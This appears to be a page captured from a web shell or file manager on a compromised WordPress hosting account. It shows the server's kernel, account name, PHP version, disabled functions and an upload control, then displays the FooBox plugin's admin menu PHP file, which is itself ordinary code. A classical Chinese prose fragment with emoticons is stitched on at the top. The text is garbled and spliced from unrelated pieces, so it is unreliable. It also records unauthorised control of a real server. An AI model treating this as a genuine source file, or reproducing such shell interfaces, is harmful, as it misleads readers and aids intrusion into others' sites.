Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/studionolh/www/wp-content/plugins/foobox-image-lightbox/includes/admin/menu.php
<?php
/*
 * FooBox Admin Menu class
 */

if ( ! class_exists( 'FooBox_Admin_Menu' ) ) {

	class FooBox_Admin_Menu {

		function __construct() {
			add_action( 'admin_menu', array( $this, 'register_menu_items' ) );
		}

		/**
		 * @todo add context to the translations
		 */
		function register_menu_items() {

			global $foobox_fs;

			add_menu_page(
				__( 'Getting Started With FooBox', 'foobox-image-lightbox' ),
				__( 'FooBox', 'foobox-image-lightbox' ),
				'manage_options',
				FOOBOX_BASE_SLUG,
				array( $this, 'render_getting_started' ),
				'dashicons-grid-view'
			);

			add_submenu_page(
				FOOBOX_BASE_SLUG,
				__( 'Getting Started With FooBox', 'foobox-image-lightbox' ),
				__( 'Getting Started', 'foobox-image-lightbox' ),
				'manage_options',
				FOOBOX_BASE_SLUG,
				array( $this, 'render_getting_started' )
			);

			if ( ! $foobox_fs->is_registered() ) {
				add_submenu_page(
					FOOBOX_BASE_SLUG,
					__( 'FooBox Opt-In', 'foobox-image-lightbox' ),
					__( 'Activation', 'foobox-image-lightbox' ),
					'manage_options',
					FOOBOX_BASE_PAGE_SLUG_OPTIN,
					array( $foobox_fs, '_connect_page_render' )
				);
			}

			add_submenu_page(
				FOOBOX_BASE_SLUG,
				__( 'FooBox Settings', 'foobox-image-lightbox' ),
				__( 'Settings', 'foobox-image-lightbox' ),
				'manage_options',
				FOOBOX_BASE_PAGE_SLUG_SETTINGS,
				array( $this, 'render_settings' )
			);

			//allow things to add their own menu items afterwards
			foobox_action_admin_menu_after();
		}

		function render_settings() {
			foobox_action_admin_menu_render_settings();
		}

		function render_getting_started() {
			require_once FOOBOX_BASE_PATH . 'includes/admin/view-getting-started.php';
		}
	}
}